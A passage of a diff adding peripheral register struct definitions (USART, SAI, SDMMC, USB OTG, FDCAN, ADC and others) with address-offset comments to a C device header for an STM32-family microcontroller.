/*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG 